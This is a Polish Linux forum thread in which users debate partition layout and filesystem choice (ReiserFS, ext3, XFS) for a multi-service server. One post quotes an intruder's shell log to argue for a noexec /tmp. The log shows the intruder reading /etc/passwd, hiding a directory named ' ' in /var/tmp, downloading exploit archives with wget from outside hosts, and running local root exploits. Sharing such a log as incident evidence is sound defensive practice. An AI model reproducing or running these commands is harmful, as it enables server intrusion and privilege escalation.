# Doskonaly podzial na partycje

## JarekG

Witam forumowiczow.

Mam do dyspozycji 146 GB. Stawiam serwer na ktorym beda uruchomione uslugi poczty, www, baz danych, samby, dns i byc moze czegos jeszcze. Potrzebuje podzielic dysk na partycje tak zeby sie przyjemnie na tym pracowalo, zarzadzalo, robilo kopie bezpieczenstwa itd.

Moja propozycja:

/home - 30 gb

/var  - 30 gb

/usr  - 30 gb

/global_samba - 20 gb

/boot - 20 mb

/     - reszta (~30 gb)

Pytanie mam jeszcze co do systemu plikow. Jaki wybrac ? Czy kombinowac z dobieraniem reiserfs na partycje z malymi plikami, czy xfs na partycje z duzymi itd ? Czy poprostu zunifikowac calosc do xfs i tyle ?

Czy warto bawic sie w LVM czy nie ?

Dziekuje za wszystkie odpowiedzi.

Pozdrawiam

JG

----------

## SlashBeast

Ja bym dał boot na początku dysku, zaraz za nim swap i dopiero reszte partycji.

/ z /usr dał bym razem. 30G wystarczy IMHO

/var 20G i co zostaie na home.

XFS odradzam, naprawde. Padnie Ci zasilanie w serwerze to potem będziesz miał anomalie z plikami, o ile w ogóle nie utracisz większości plików. ReiserFS IMO będzie najlepszym systemem plików, jaki możesz dać. Niektórzy lubią też JFS na /var, poniewaz ma małe zapotrzebowanie na procesor.

----------

## JarekG

 *SlashBeast wrote:*   

> Ja bym dał boot na początku dysku, zaraz za nim swap i dopiero reszte partycji.
> 
> / z /usr dał bym razem. 30G wystarczy IMHO
> 
> /var 20G i co zostaie na home.
> ...

 

Tak oczywiscie boot bedzie pierwszy potem swap. Nie pisalem tych partycji w kolejnosci tworzenia  :Smile:  tylko poprostu sam uklad. 

Co do /var to nie wiem czy 20 gb starczy. Generalnie w var beda przechowywane strony www uzytkownikow, bazy danych mysql/firebird wiec dalbym tam te dodatkowe 10 gb albo wiecej.

Co do systemu plikow to juz bym wolal ext3. Nigdy z nim problemow nie mialem, a poza tym jest to bardzo sprawdzony system plikow. 

Co do padniecia zasilania to jest ups, ktory serwer podtrzyma ok. 30-40 minut po czym jak nie przyjdzie prad, to serwer sie zamknie w czysty sposob.

----------

## SlashBeast

Nie lepszym pomysłem było by trzymanie stron w katalogach uzytkowników ~/public_html? Jak dla mnie ReiserFS poza tym, ze gdy padnie zasilanie to przez pierwsze kilka minut po starcie maszyny jest wybitnie spowolniony, jest systemem idealnym i napewno wydajniejszym od ext3.

----------

## Dagger

osobiscie zawsze daje oddzielna czesc na /tmp mountowana bez prawa execute. druga rzecz, to symbolic link z /var/tmp -> /tmp. Nauczony doswiadczeniem po tym, jak mialem wlam na server, i pierwsze co zobaczylem w logach, to ze skrypt do przejecia roota zostal wykonany z /var/tmp

----------

## JarekG

 *Dagger wrote:*   

> osobiscie zawsze daje oddzielna czesc na /tmp mountowana bez prawa execute. druga rzecz, to symbolic link z /var/tmp -> /tmp. Nauczony doswiadczeniem po tym, jak mialem wlam na server, i pierwsze co zobaczylem w logach, to ze skrypt do przejecia roota zostal wykonany z /var/tmp

 

Swietny pomysl. Na to nie wpadlem. Ile w takim razie na ta partycje ?

 *SlashBeast wrote:*   

> Nie lepszym pomysłem było by trzymanie stron w katalogach uzytkowników ~/public_html? Jak dla mnie ReiserFS poza tym, ze gdy padnie zasilanie to przez pierwsze kilka minut po starcie maszyny jest wybitnie spowolniony, jest systemem idealnym i napewno wydajniejszym od ext3.

 

Wolalbym robic link do ~/public_html z /var/www/domena/uzytkownik bo wtedy mam wsyzstkie strony itd. w 1 miejscu. Scentralizowane, co bardzo ulatwia robienie backupow. 

Co do systemu plikow jakos ten ReiserFS mnie nie przekonuje do konca ;/. Prosze zeby sie inni tez wypowiedzieli. Jak RFS to 3 czy 4 ?

----------

## Dagger

 *JarekG wrote:*   

> Ile w takim razie na ta partycje ?

 

To zalezy. Normalnie 2-3 GB wystarcza, chyba ze chcesz compile'owac OpenOffice (ktory potrzebuje 5-6GB)

 *JarekG wrote:*   

> 
> 
> Co do systemu plikow jakos ten ReiserFS mnie nie przekonuje do konca ;/. Prosze zeby sie inni tez wypowiedzieli. Jak RFS to 3 czy 4 ?
> 
> 

 

ReiserFS jest dobry przy duzej ilosc malych plikow. Co do 3 lub 4, to zalezy od zastosowania servera - biorac pod uwage ilosc rzeczy ktore chcesz na tym uruchamiac i powaznie podchodzisz do rzeczy (backupy etc), nigdy na czyms takim nie postawil byl experimental FS jakim w chwili obecnej jest RFS4.

----------

## JarekG

 *Dagger wrote:*   

> ReiserFS jest dobry przy duzej ilosc malych plikow. Co do 3 lub 4, to zalezy od zastosowania servera - biorac pod uwage ilosc rzeczy ktore chcesz na tym uruchamiac i powaznie podchodzisz do rzeczy (backupy etc), nigdy na czyms takim nie postawil byl experimental FS jakim w chwili obecnej jest RFS4.

 

Dziekuje za wszystkie szybkie odpowiedzi. Bardzo zalezy mi na czasie i tu jest uklon w Wasza strone za szybki support. Pytanie w sumie chyba ostatnie. Rekomendujesz RFS3 jako system plikow na wszystkich typach partycji czy nie ? Polecasz cos innego ? 

Jak wyglada sposob ewentualnego odzyskiwania danych ? Mieliscie z tym doswiadczenie ?

----------

## JarekG

Podsumowywujac:

/boot - 100 mb (niech bedzie w razie co)

/ z /usr - to co zostanie gb (cale drzewo portage, distfilesy i programy - bardzo wazne, bo nie przemyslalem tego, ze wiekszosc programow wykonywanych isntaluje sie tez w /usr/bin itd. przez co nawet jak sobie system przywroce z obrazu, to nie bedzie synchronizacji w calosci i okaze sie ze cos nie dziala :/)

/var - 30 gb (bazy mysql, www link do public_html, named chrootwany)

/home - 30 gb

/global_samba - 20 gb

/tmp - 10 gb (noexec)

sytem plikow rfs3

podpisujecie sie pod tym ?

----------

## SlashBeast

 *Dagger wrote:*   

> osobiscie zawsze daje oddzielna czesc na /tmp mountowana bez prawa execute. druga rzecz, to symbolic link z /var/tmp -> /tmp. Nauczony doswiadczeniem po tym, jak mialem wlam na server, i pierwsze co zobaczylem w logach, to ze skrypt do przejecia roota zostal wykonany z /var/tmp

 

Kurde! tmp z noexec, genialne. Właśnie przypomniał mi się exploit który był na kernel od 2.6.13.y do 2.6.15.7 włącznie. Kopiował on do /tmp kopie sh z suidem a gdyby było to na noexec to by nic z tego nie wyszło. Cenna podpowiedz - dzieki.

Ale, kompilacje sa w /var/tmp. Na koniec idzie make install do fake roota a potem cp do systemu, jezeli bedzie noexec to czy czasem kompialcje się nie wywalą?

----------

## Dagger

mala czesc loga:

```

w

uname -a

cat /etc/passwd

w

ping yahoo.com

ifco

/sbin/ifconfig -a

w

uname -a

cat /etc/hosts

w

exit

w

passwd

uname -a

cd /var/tmp

cd " "

cd /var/ww

cd /var/www

ls -a

cd " "

cd /var/tmp

mkdir " "

cd " "

wget eufemistic.xhost.ro/Local.tgz

ls

tar xzvf Local.tgz

rm -rf Local.tgz

cd .local/

ls

./hat

./brk2 

./elf 

./raptor 

id

ls

cd ..

ls -a

cd /var/tmp

cd " "

cd .local/

ls

./root 

id

ls

./own 

./pwned 

./90 

./0 

ls -a

./hat

cd ..

ls -a

rm -rf .local/

ls -a

cd /var/tmp

cd " "

wget fenixus.xhost.ro/florian.tar

ls

tar xzvf florian.tar

rm -rf florian.tar

cd .borwind/

ls

rm -rf 203.18.pscan.22 

clear

ls

screen

cd /var/tmp

cd " "

cd .borwind/

ls

```

co prawda byl to start nic nie znaczacy server w DMZ. zostal rozwalony zanim zdarzylem go przebudowac.

pozatym bardzo podobala mi sie opcja mkdir " "  :Smile: 

osobiscie mam /var/tmp/portage i /var/tmp/paludis lako linki do innych lokacji oraz ustawione prawa, ze nikt poza wlascicielem i grupa nie moze zapisywac/wykonywac.

----------

## Paczesiowa

apropo niezawodnosci reisera na restarty - zerknijcie na to: http://wklej.org/id/02fdcbbee1 50% binarek popsutych oczywiscie nie do odbudowania.

swoja droga to po co rozdzielacie system na tyle partycji? poza swapem i temp (jesli chcecie miec noexec) to przeciez mozna miec jedna partycje i sie zyskuje wygode i brak problemow ze na jednej partycji nie ma miejsca an a drugiej jest. bo mi to troche przypomina gadania windziarzy co maja osobna partycje na muzyke i osobna na filmy.

----------

## matiit

Wydajność?

Modularność?

----------

## Paczesiowa

jaka niby modularnosc?

a z ta wydajnoscia to jestes pewien ze to ma takie spore znaczenie?

----------

## SlashBeast

 *Paczesiowa wrote:*   

> apropo niezawodnosci reisera na restarty - zerknijcie na to: http://wklej.org/id/02fdcbbee1 50% binarek popsutych oczywiscie nie do odbudowania.
> 
> swoja droga to po co rozdzielacie system na tyle partycji? poza swapem i temp (jesli chcecie miec noexec) to przeciez mozna miec jedna partycje i sie zyskuje wygode i brak problemow ze na jednej partycji nie ma miejsca an a drugiej jest. bo mi to troche przypomina gadania windziarzy co maja osobna partycje na muzyke i osobna na filmy.

 

Miałem tysiące restartów, na wszystkich moich komputerach jest głownym fsem RieserFS vel Reiser3, i nic nigdy się nie stalo. Raczej mi to wygląda na problem dysku twardego, który jak stracił zasilanie to bube wywalił.

----------

## Paczesiowa

nie sadze zeby to byla wina dysku bo inne partycje (i reisery i nie przetrwaly bez problemu). ty nie miales nigdy zadnych problemow z reiserami a ja nie mialem z m$ ntfsem a reiser mnie pozbawil paru dni konfiguracji. filesystem filesystemem a jak ma sie zepsuc to sie zepsuje wiec lepiej nie brac pod uwage nieawaryjnosci i wybierac na podstawie innych rzeczy a przed awaryjnoscia sie zabezpieczyc backupami

----------

